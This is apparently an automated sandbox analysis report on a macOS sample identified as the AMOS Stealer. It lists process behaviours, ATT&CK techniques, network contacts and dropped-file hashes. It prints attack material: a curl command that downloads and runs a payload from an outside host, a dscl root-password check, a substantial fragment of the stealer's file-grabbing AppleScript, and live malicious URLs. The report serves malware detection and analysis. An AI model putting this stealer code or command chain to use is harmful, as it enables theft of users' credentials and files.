Source: /usr/bin/osascript (PID: 625)	Shell command executed: sh -c echo $((RANDOM % 9000 + 1000))	Jump to behavior
Source: /usr/bin/osascript (PID: 626)	Shell command executed: sh -c system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType	Jump to behavior
Source: /usr/bin/osascript (PID: 631)	Shell command executed: sh -c mkdir -p '/tmp/4302'	Jump to behavior
Source: /usr/bin/osascript (PID: 632)	Shell command executed: sh -c dscl . authonly 'root' ''	Jump to behavior

Source: /bin/sh (PID: 619)

Chmod executable: /bin/chmod -> chmod +x /tmp/update

Jump to behavior

Source: /bin/sh (PID: 616)

Curl executable: /usr/bin/curl -> curl -o /tmp/update https://norikosumiya.com/brew/update

Jump to behavior

Source: /bin/sh (PID: 622)

Pkill executable: /usr/bin/pkill -> pkill Terminal

Jump to behavior

Source: /bin/sh (PID: 631)

Mkdir executable: /bin/mkdir -> mkdir -p /tmp/4302

Jump to behavior

Source: /usr/bin/osascript (PID: 624)	AppleScript framework/component info plist opened: /System/Library/Components/AppleScript.component/Contents/Info.plist			Jump to behavior
Source: /usr/bin/osascript (PID: 624)	AppleScript framework/component info plist opened: /System/Library/PrivateFrameworks/AppleScript.framework/Resources/Info.plist			Jump to behavior

Source: /usr/bin/osascript (PID: 624)	AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/Info.plist			Jump to behavior
Source: /usr/bin/osascript (PID: 624)	AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/Digital Hub Scripting.osax/Contents/Info.plist			Jump to behavior

Source: /usr/bin/curl (PID: 616)

File written: /private/tmp/update

Jump to dropped file

Source: /usr/bin/curl (PID: 616)

FAT Mach-O written to tmp path: /private/tmp/update

Jump to dropped file

Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 618)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/bin/osascript (PID: 624)	Random device file read: /dev/random	Jump to behavior
Source: /usr/libexec/firmwarecheckers/eficheck/eficheck (PID: 653)	Random device file read: /dev/random	Jump to behavior

Source: submitted sample

Stderr: % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 0 229k 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0 87 229k 87 199k 0 0 94252 0 0:00:02 0:00:02 --:--:-- 94221100 229k 100 229k 0 0 105k 0 0:00:02 0:00:02 --:--:-- 105ksh: line 0: disown: current: no such job: exit code = 0

Source: /usr/bin/osascript (PID: 624)

AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plist

Jump to behavior

Source: /usr/bin/xattr (PID: 618)

Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python

Jump to behavior

Source: /usr/bin/osascript (PID: 624)

Binary plist file created: /private/var/root/Library/Saved Application State/com.apple.osascript.savedState/windows.plist

Jump to dropped file

Source: /usr/bin/osascript (PID: 624)

Reads from a resource fork: /usr/bin/osascript/..namedfork/rsrc

Jump to behavior

Source: /usr/sbin/system_profiler (PID: 629)

Sysctl read request: hw.model (6.2)

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Executes the "csrutil" command used to retrieve or modify the "System Integrity Protection" configuration

Source: /usr/sbin/system_profiler (PID: 627)

Csrutil executable: /usr/bin/csrutil /usr/bin/csrutil status

Jump to behavior

Source: /usr/bin/osascript (PID: 624)	Sysctl read request: kern.safeboot (1.66)			Jump to behavior
Source: /usr/sbin/system_profiler (PID: 627)	Sysctl read request: kern.safeboot (1.66)			Jump to behavior

Source: /usr/bin/osascript (PID: 624)	Sysctl read request: hw.availcpu (6.25)	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 629)	Sysctl read request: hw.cpu_freq (6.15)	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 629)	Sysctl read request: hw.memsize (6.24)	Jump to behavior

Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 618)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 618)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior
Source: /usr/bin/osascript (PID: 624)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /usr/bin/osascript (PID: 624)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 627)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 627)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior

Source: /bin/sh (PID: 615)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 618)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 621)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 623)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /usr/bin/osascript (PID: 624)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 625)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 626)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 631)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 632)	Sysctl requested: kern.hostname (1.10)	Jump to behavior

Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 618)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 618)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /usr/bin/osascript (PID: 624)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 627)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior

Stealing of Sensitive Information

Detected AMOS Stealer

Source: /bin/sh (PID: 624)

AMOS Stealer Osscript: osascript -e set release to trueset filegrabbers to trueon filesizer(paths)set fsz to 0tryset theItem to quoted form of POSIX path of pathsset fsz to (do shell script '/usr/bin/mdls -name kMDItemFSSize -raw ' & theItem)end tryreturn fszend filesizeron mkdir(someItem)tryset filePosixPath to quoted form of (POSIX path of someItem)do shell script 'mkdir -p ' & filePosixPathend tryend mkdiron FileName(filePath)tryset reversedPath to (reverse of every character of filePath) as stringset trimmedPath to text 1 thru ((offset of '/' in reversedPath) - 1) of reversedPathset finalPath to (reverse of every character of trimmedPath) as stringreturn finalPathend tryend FileNameon BeforeFileName(filePath)tryset lastSlash to offset of '/' in (reverse of every character of filePath) as stringset trimmedPath to text 1 thru -(lastSlash + 1) of filePathreturn trimmedPathend tryend BeforeFileNameon writeText(textToWrite, filePath)tryset folderPath to BeforeFileName(filePath)mkdir(folderPath)set fileRef to (open for access filePath with write permission)write textToWrite to fileRef starting at eofclose access fileRefend tryend writeTexton readwrite(path_to_file, path_as_save)tryset fileContent to read path_to_fileset folderPath to BeforeFileName(path_as_save)mkdir(folderPath)do shell script 'cat ' & quoted form of path_to_file & ' > ' & quoted form of path_as_saveend tryend readwriteon readwrite2(path_to_file, path_as_save)tryset folderPath to do shell script 'dirname ' & quoted form of path_as_savemkdir(folderPath)tell application 'Finder' set sourceFile to POSIX file path_to_file as alias set destinationFolder to POSIX file folderPath as alias duplicate sourceFile to destinationFolder with replacingend tellend tryend readwrite2on isDirectory(someItem)tryset filePosixPath to quoted form of (POSIX path of someItem)set fileType to (do shell script 'file -b ' & filePosixPath)if fileType ends with 'directory' thenreturn trueend ifreturn falseend tryend isDirectoryon GrabFolderLimit(sourceFolder, destinationFolder)tryset bankSize to 0set exceptionsList to {'.DS_Store', 'Partitions', 'Code Cache', 'Cache', 'market-history-cache.json', 'journals', 'Previews'}set fileList to list folder sourceFolder without invisiblesmkdir(destinationFolder)repeat with currentItem in fileListif currentItem is not in exceptionsList thenset itemPath to sourceFolder & '/' & currentItemset savePath to destinationFolder & '/' & currentItemif isDirectory(itemPath) thenGrabFolderLimit(itemPath, savePath)elseset fsz to filesizer(itemPath)set bankSize to bankSize + fszif bankSize < 10 * 1024 * 1024 thenreadwrite(itemPath, savePath)end ifend ifend ifend repeatend tryend GrabFolderLimiton GrabFolder(sourceFolder, destinationFolder)tryset exceptions

Jump to behavior

Executes the "dscl" command with authonly argument (probably to verify the login password)

Source: /bin/sh (PID: 632)

Security executable: /usr/bin/dscl dscl . authonly root

Jump to behavior

Source: /bin/sh (PID: 626)	System_profiler executable: /usr/sbin/system_profiler system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 626)	System_profiler executable: /usr/sbin/system_profiler /usr/sbin/system_profiler -nospawn -xml SPSoftwareDataType -detailLevel full	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 626)	System_profiler executable: /usr/sbin/system_profiler /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 626)	System_profiler executable: /usr/sbin/system_profiler /usr/sbin/system_profiler -nospawn -xml SPDisplaysDataType -detailLevel full	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	13 AppleScript	1 Scripting	Path Interception	1 Virtualization/Sandbox Evasion	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Malicious File	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Disable or Modify Tools	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File and Directory Permissions Modification	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Hidden Files and Directories	NTDS	161 System Information Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Shell
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://norikosumiya.com/brew/update	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
norikosumiya.com	81.19.135.228	true	false	unknown
gateway.fe2.apple-dns.net	17.248.228.69	true	false	high
h3.apis.apple.map.fastly.net	151.101.3.6	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://norikosumiya.com/brew/update	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
81.19.135.228	norikosumiya.com	Russian Federation	24658	IVC-ASRU	false
151.101.3.6	h3.apis.apple.map.fastly.net	United States	54113	FASTLYUS	false
23.55.204.208	unknown	United States	16625	AKAMAI-ASUS	false
151.101.131.6	unknown	United States	54113	FASTLYUS	false
151.101.67.6	unknown	United States	54113	FASTLYUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
81.19.135.228	http://yaocanting.com	Get hash	malicious	Unknown	Browse	yaocanting.com/
151.101.3.6	https://user-logln.net-protected.net/de/?code=9a7d7f86cffe7c7d6feaede517e284f4	Get hash	malicious	Unknown	Browse
	mierda.txt.py	Get hash	malicious	Unknown	Browse
	18037.doc	Get hash	malicious	Unknown	Browse
	https://docs.google.com/presentation/d/e/2PACX-1vTBMx4bSFDj_B_GCJTdTqUpVgpLXyQPR3uFGYP9j81KKHswOSbzMWDM5ZByYtVAwpACe-iOzHmzehje/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse
	Telegram	Get hash	malicious	Unknown	Browse
	http://eocf.jyjwohl.ru/KIOJOJMAIEJFLVSF280212193270471103367JIGUHOIIAX4RQ0SVD?beunjabnkfaakr796013636449016227029WA5LIQI5PMNQO0EETOR	Get hash	malicious	Unknown	Browse
	https://commandes.maisonetstyles.com/Short/?Verification=aalborz_02@yahoo.com	Get hash	malicious	Unknown	Browse
	https://my.toruftuiov.com/a43a39c3-796e-468c-aae4-b83c862e0918	Get hash	malicious	Unknown	Browse
	CalendlyApp	Get hash	malicious	Unknown	Browse
	Constate	Get hash	malicious	Unknown	Browse
23.55.204.208	yt-dlp_macos	Get hash	malicious	Unknown	Browse
151.101.131.6	yt-dlp_macos	Get hash	malicious	Unknown	Browse
	Bitcoin-Qt	Get hash	malicious	Unknown	Browse
	rrr	Get hash	malicious	Unknown	Browse
	CGESrv	Get hash	malicious	CobaltStrike	Browse
	https://ivsmn.kidsavancados.com/	Get hash	malicious	Unknown	Browse
	https://fastbposolutions.com/language/overrides/message.alibaba.com/login.alibaba-com/saexy7ktc4fw1k7zk9xpnx19.php	Get hash	malicious	Unknown	Browse
	http://eocf.jyjwohl.ru/KIOJOJMAIEJFLVSF280212193270471103367JIGUHOIIAX4RQ0SVD?beunjabnkfaakr796013636449016227029WA5LIQI5PMNQO0EETOR	Get hash	malicious	Unknown	Browse
	https://commandes.maisonetstyles.com/Short/?Verification=aalborz_02@yahoo.com	Get hash	malicious	Unknown	Browse
	aJU0obOiEe	Get hash	malicious	Unknown	Browse
	V6QED2Q1WBYVOPE	Get hash	malicious	Unknown	Browse
151.101.67.6	Bitcoin-Qt	Get hash	malicious	Unknown	Browse
	https://user-logln.net-protected.net/de/?code=9a7d7f86cffe7c7d6feaede517e284f4	Get hash	malicious	Unknown	Browse
	mierda.txt.py	Get hash	malicious	Unknown	Browse
	ab_j	Get hash	malicious	Rust Stealer	Browse
	CGESrv	Get hash	malicious	CobaltStrike	Browse
	18037.doc	Get hash	malicious	Unknown	Browse
	https://docs.google.com/presentation/d/e/2PACX-1vTBMx4bSFDj_B_GCJTdTqUpVgpLXyQPR3uFGYP9j81KKHswOSbzMWDM5ZByYtVAwpACe-iOzHmzehje/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse
	Telegram	Get hash	malicious	Unknown	Browse
	http://eocf.jyjwohl.ru/KIOJOJMAIEJFLVSF280212193270471103367JIGUHOIIAX4RQ0SVD?beunjabnkfaakr796013636449016227029WA5LIQI5PMNQO0EETOR	Get hash	malicious	Unknown	Browse
	https://commandes.maisonetstyles.com/Short/?Verification=aalborz_02@yahoo.com	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
h3.apis.apple.map.fastly.net	Bitcoin-Qt	Get hash	malicious	Unknown	Browse	151.101.131.6
	https://user-logln.net-protected.net/de/?code=9a7d7f86cffe7c7d6feaede517e284f4	Get hash	malicious	Unknown	Browse	151.101.195.6
	mierda.txt.py	Get hash	malicious	Unknown	Browse	151.101.3.6
	rrr	Get hash	malicious	Unknown	Browse	151.101.195.6
	ab_j	Get hash	malicious	Rust Stealer	Browse	151.101.3.6
	CGESrv	Get hash	malicious	CobaltStrike	Browse	151.101.3.6
	18037.doc	Get hash	malicious	Unknown	Browse	151.101.3.6
	Telegram	Get hash	malicious	Unknown	Browse	151.101.3.6
	http://eocf.jyjwohl.ru/KIOJOJMAIEJFLVSF280212193270471103367JIGUHOIIAX4RQ0SVD?beunjabnkfaakr796013636449016227029WA5LIQI5PMNQO0EETOR	Get hash	malicious	Unknown	Browse	151.101.131.6
	https://commandes.maisonetstyles.com/Short/?Verification=aalborz_02@yahoo.com	Get hash	malicious	Unknown	Browse	151.101.3.6

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
IVC-ASRU	http://yaocanting.com	Get hash	malicious	Unknown	Browse	81.19.135.228
	5y2VCFOB05.exe	Get hash	malicious	RHADAMANTHYS	Browse	81.19.131.103
	5y2VCFOB05.exe	Get hash	malicious	RHADAMANTHYS	Browse	81.19.131.103
	LxvS6uMf0g.exe	Get hash	malicious	Acrid Stealer	Browse	81.19.135.226
	https://brand.site/896562718995127961820892	Get hash	malicious	HTMLPhisher	Browse	81.19.141.97
	file.exe	Get hash	malicious	DanaBot	Browse	81.19.137.119
	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse	81.19.138.213
	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer	Browse	81.19.139.138
	file.exe	Get hash	malicious	Amadey, CryptOne, PureLog Stealer, RedLine, Stealc, Vidar, Zhark RAT	Browse	81.19.139.138
	jD6b7MZOhT.exe	Get hash	malicious	Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine	Browse	81.19.139.138
FASTLYUS	data.dat.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	185.199.108.133
	Extreme Injector v3.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	185.199.111.133
	PgOfRNLIVK.exe	Get hash	malicious	LummaC, Amadey, Babadeda, GCleaner, KeyLogger, LummaC Stealer, PureLog Stealer	Browse	185.199.111.133
	https://nam.dcv.ms/TgEkOrA6UC	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://nam.dcv.ms/TgEkOrA6UC	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://store.redeemwalletscode.com/redeemwalletcode/gift/307603441	Get hash	malicious	Unknown	Browse	151.101.195.52
	https://shaiknaziyasulthana.github.io/Amazon.com-Clone/	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153
	http://case-id-100034393.argentpropertiesvb.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	http://argentpropertiesvb.com/?helpbusiness-100078883	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	http://case-id-100026693.argentpropertiesvb.com/?helpbusiness-100026693	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
AKAMAI-ASUS	7KkT51PlxA.exe	Get hash	malicious	LummaC, Amadey, Babadeda, GCleaner	Browse	104.102.49.254
	PgOfRNLIVK.exe	Get hash	malicious	LummaC, Amadey, Babadeda, GCleaner, KeyLogger, LummaC Stealer, PureLog Stealer	Browse	104.102.49.254
	M1oWYBXUgc.ps1	Get hash	malicious	Stealc, Vidar	Browse	23.47.27.74
	cYnteV0WLV.exe	Get hash	malicious	Stealc, Vidar	Browse	104.102.49.254
	YxzEGDYnM3.exe	Get hash	malicious	Stealc, Vidar	Browse	104.102.49.254
	1BrNyzDvUE.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	RolDDlM8sG.exe	Get hash	malicious	Stealc, Vidar	Browse	104.102.49.254
	mXE9EwMkJ7.exe	Get hash	malicious	Stealc, Vidar	Browse	104.102.49.254
	https://nam.dcv.ms/TgEkOrA6UC	Get hash	malicious	HTMLPhisher	Browse	184.50.113.41
	https://nam.dcv.ms/TgEkOrA6UC	Get hash	malicious	HTMLPhisher	Browse	184.50.113.42
FASTLYUS	data.dat.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	185.199.108.133
	Extreme Injector v3.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	185.199.111.133
	PgOfRNLIVK.exe	Get hash	malicious	LummaC, Amadey, Babadeda, GCleaner, KeyLogger, LummaC Stealer, PureLog Stealer	Browse	185.199.111.133
	https://nam.dcv.ms/TgEkOrA6UC	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://nam.dcv.ms/TgEkOrA6UC	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://store.redeemwalletscode.com/redeemwalletcode/gift/307603441	Get hash	malicious	Unknown	Browse	151.101.195.52
	https://shaiknaziyasulthana.github.io/Amazon.com-Clone/	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153
	http://case-id-100034393.argentpropertiesvb.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	http://argentpropertiesvb.com/?helpbusiness-100078883	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	http://case-id-100026693.argentpropertiesvb.com/?helpbusiness-100026693	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
5c118da645babe52f060d0754256a73c	yt-dlp_macos	Get hash	malicious	Unknown	Browse	17.248.228.69 151.101.131.6 151.101.67.6
	Bitcoin-Qt	Get hash	malicious	Unknown	Browse	17.248.228.69 151.101.131.6 151.101.67.6
	https://user-logln.net-protected.net/de/?code=9a7d7f86cffe7c7d6feaede517e284f4	Get hash	malicious	Unknown	Browse	17.248.228.69 151.101.131.6 151.101.67.6
	mierda.txt.py	Get hash	malicious	Unknown	Browse	17.248.228.69 151.101.131.6 151.101.67.6
	rrr	Get hash	malicious	Unknown	Browse	17.248.228.69 151.101.131.6 151.101.67.6
	ab_j	Get hash	malicious	Rust Stealer	Browse	17.248.228.69 151.101.131.6 151.101.67.6
	CGESrv	Get hash	malicious	CobaltStrike	Browse	17.248.228.69 151.101.131.6 151.101.67.6
	https://ivsmn.kidsavancados.com/	Get hash	malicious	Unknown	Browse	17.248.228.69 151.101.131.6 151.101.67.6
	18037.doc	Get hash	malicious	Unknown	Browse	17.248.228.69 151.101.131.6 151.101.67.6
	https://docs.google.com/presentation/d/e/2PACX-1vTBMx4bSFDj_B_GCJTdTqUpVgpLXyQPR3uFGYP9j81KKHswOSbzMWDM5ZByYtVAwpACe-iOzHmzehje/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	17.248.228.69 151.101.131.6 151.101.67.6
a7a5e32c2ca29907256b5de4fbdf61ed	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFkILOsO1UnLItklUwD68rhtr94fRPJI4HAEjYZ7vdlgHTiHU_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZPRzSyzWe4FlQQyqQA-2BOTqGjWjoN-2BuPm4tzM5LM6f6tO2PXKa74YSjAhzL6onG-2BuKO989bZZj9vupVvXtBWU0qXeI6VZny9p-2FgjssbU9Je1I2RDoZPOLgxX8gxf2-2BzsuoGYoVqnaS5CYR1Z5WEWAcZP0wmQbm4ikqer-2BGrlVppyDdPw-2BxPiObQZTbU2ZeclEy9V5nUC-2BnwlvdDmQwsjghHkHuJFiwInVWpyiCgGFo0uYjlPs3G8hdAgJBJu-2F-2B0K864-3D#ZmluYW5jZUBjbGVhcnZpZXcuYWk=	Get hash	malicious	Unknown	Browse	81.19.135.228
	extracted-pkg.ziphttps://fluencydirect-distro.s3.amazonaws.com/releases.macOS/FluencyDirect-11.0.10.40.pkg	Get hash	malicious	Unknown	Browse	81.19.135.228
	Aunteficator-installer-1it5dZOj.pkg	Get hash	malicious	Unknown	Browse	81.19.135.228
	MacKeeper.6.7.1.pkg	Get hash	malicious	Unknown	Browse	81.19.135.228

Process:	/usr/bin/osascript
File Type:	ASCII text, with CR line terminators
Category:	dropped
Size (bytes):	1369
Entropy (8bit):	4.727898989684138
Encrypted:	false
SSDEEP:	24:MBjohBas4ET1S2GMi1f1k2t26GwBenwRrzeMdQxLI9dIZoTC1cWB6:wSB8ETE5M2k2t2QBenwt6MgLI9dmW8k
MD5:	0DE6D6FB609F0B0ED4A39BB3FEF8B9E8
SHA1:	5CEF29DC95DCC010D7797DE7780DEF625BC031C2
SHA-256:	A80CC94745540269B939142BDF0683AB004CAD98281E1921A9F6AC603386F6A5
SHA-512:	1D0F777A2AF019FE8D48F2F1BC3821F2AD9CF51747E4470CB801FCBAB3E479423565C83CEEB86A43928C2F56F506EE13913D16F237F47686EFB0DEC25827D4F2
Malicious:	false
Reputation:	low
Preview:	Software:.. System Software Overview:.. System Version: macOS 10.14.2 (18C54). Kernel Version: Darwin 18.2.0. Boot Volume: Macintosh HD. Boot Mode: Normal. Computer Name: mojave. User Name: System Administrator (root). Secure Virtual Memory: Enabled. System Integrity Protection: Disabled. Time since boot: 2 minutes..Hardware:.. Hardware Overview:.. Model Name: Mac mini. Model Identifier: Macmini8,1. Processor Speed: 3.01 GHz. Number of Processors: 1. Total Number of Cores: 2. L2 Cache (per Core): 256 KB. L3 Cache: 18 MB. Memory: 4 GB. Boot ROM Version: VirtualBox. Apple ROM Info: vboxVer_7.0.12vboxRev_159484. SMC Version (system): 2.3f35. Serial Number (system): 0. Hardware UUID: 6661EB4A-CDF0-4E32-8BDC-6B405B1B36B2..Graphics/Displays:.. Display:.. Type: GPU. VRAM (Total): 3 MB. VRAM (Dynamic, Max): . Device ID: 0xbeef. Revision ID: 0x0000.

/private/tmp/update

Download File

Process:	/usr/bin/curl
File Type:	Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS\|DYLDLINK\|TWOLEVEL\|WEAK_DEFINES\|BINDS_TO_WEAK\|PIE>] [arm64:Mach-O 64-bit arm64 executable, flags:<NOUNDEFS\|DYLDLINK\|TWOLEVEL\|BINDS_TO_WEAK\|PIE>]
Category:	dropped
Size (bytes):	234656
Entropy (8bit):	3.081958215032428
Encrypted:	false
SSDEEP:	1536:0JbsXk/YEDMSm/LW7z0y32sUV5296lzQfdEp76lxu5h3c0lddl3OzQOgZAW0oZuE:Gg7SVQHfd
MD5:	0418181CAABA4686FAE772B60D9A2C62
SHA1:	80B98D4816114177FC9361B107E87AFA33D71F64
SHA-256:	F48CF1B5AD2435FEA9FDB7F7D2774BACCA8C506E4AB9BAA4B95174A40ADE0515
SHA-512:	D094A9FA0A805F3E3BDB543E42906C11A6F0E60A563782B7AFDF0B26076D53BE3AC1DEA535847AC479F183BE83F6E246743780417A556F01F220E7398D476F8E
Malicious:	false
Reputation:	low
Preview:	..................@...Up...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/private/var/root/Library/Saved Application State/com.apple.osascript.savedState/data.data

Download File

Process:	/usr/bin/osascript
File Type:	data
Category:	dropped
Size (bytes):	1248
Entropy (8bit):	7.8505293694080605
Encrypted:	false
SSDEEP:	24:iesJE6ku40tgwyOxo9TRQK2Ju2oeLXbi1mDgfMkisqDUwmmzVwYHk:PODz4Eo98J6OXbXDEqTfjE
MD5:	0090043DD2DAE918F77147763D238E6B
SHA1:	980074431A801043A8A0708C93C8190516E7FEA5
SHA-256:	3A8A7A0DE75BDEF4F575F5E1A4802BDB460301E5040CDF377D6E29DE304D542A
SHA-512:	0D1724143514B043B89735E9635CB8988A6DB37FFFBC9684F65F0F71551CE7B0813DFE49C36779435E38A15D249ED50902118A028F6CBAE0CF8F877D835175E8
Malicious:	false
Reputation:	low
Preview:	NSCR1000...........{.u.2..H.u...)...b.....XvM%. ...o/.j..8V_.oZ;:F.).......0s5,.8.dD;m./.w.=(Q.h}%q.3g..1qU........_:'Oi<..(_...f...VL].Y............p...PC.Q7.\|F}h`..qJ.<..7....?..?R=.<..Pn..T...w...(D\..~)..\|..gi.Eo....9#.j5E.....e.Z....m..x...\|W....k.T.NQ-..v....~.<Z!..xISh'x.i..NA../.m.M..h..^.[.S'._..S...%)........s.N&....i.V.../.._....LI>.....B.....N....^.{...1.I.....&.7....vZ....{)....'.n...@..Htu..}..J..J.5....z.....9.~...[...J....."X;D.&6...T4.e.-2.9.h!..,.Pt.E{.e.._....8.Y....$...V..F..._..Y.2.D.Va..@..E.2.m.w=1...e...b.........\|:.p....n......g.......B..}..dC%.>.0p.....8.P9.....A...w.0w....X.3.=/....$)i....Z..>.l..rJ..;..N%.b.`...!........8.W...O8...u.q....X..>.8m.&f...u..K.....eU\1h.....L:i!D<..e...8...R...1.u.X."...{/L.F<..aT.C.....D.h3IB...@...+..l^...L.#<.P..@l..A..2....{..5^e.f......V...wJ. R......d&.^.%.....".u.sA.:..Q.rX..(\....Y.yq.U3hM......o.hU...'.RnU..G.FW.P.....0...t.p.=....NSCR1000....... ..).vP.A..1%K....G.y.AYS

/private/var/root/Library/Saved Application State/com.apple.osascript.savedState/windows.plist

Download File

Process:	/usr/bin/osascript
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	828
Entropy (8bit):	6.1614055634278815
Encrypted:	false
SSDEEP:	12:Qq10XGnLxGArG7u4Q3Vfged3bjaaFApp/DB+AkKEkXTfuC4G3O1cPHWXh:/+SLkP7uTgWCoADDFkTgTm1G3OcH2h
MD5:	B6B9147CD7843341520DF3842CDAE086
SHA1:	E14B025F3866CA6C3DC226F75EDCE6EAB30CB936
SHA-256:	5278E0EBB68CE65E23FB9D950707BC9F103A5F89EE9CF131BAEB45BFF382EB60
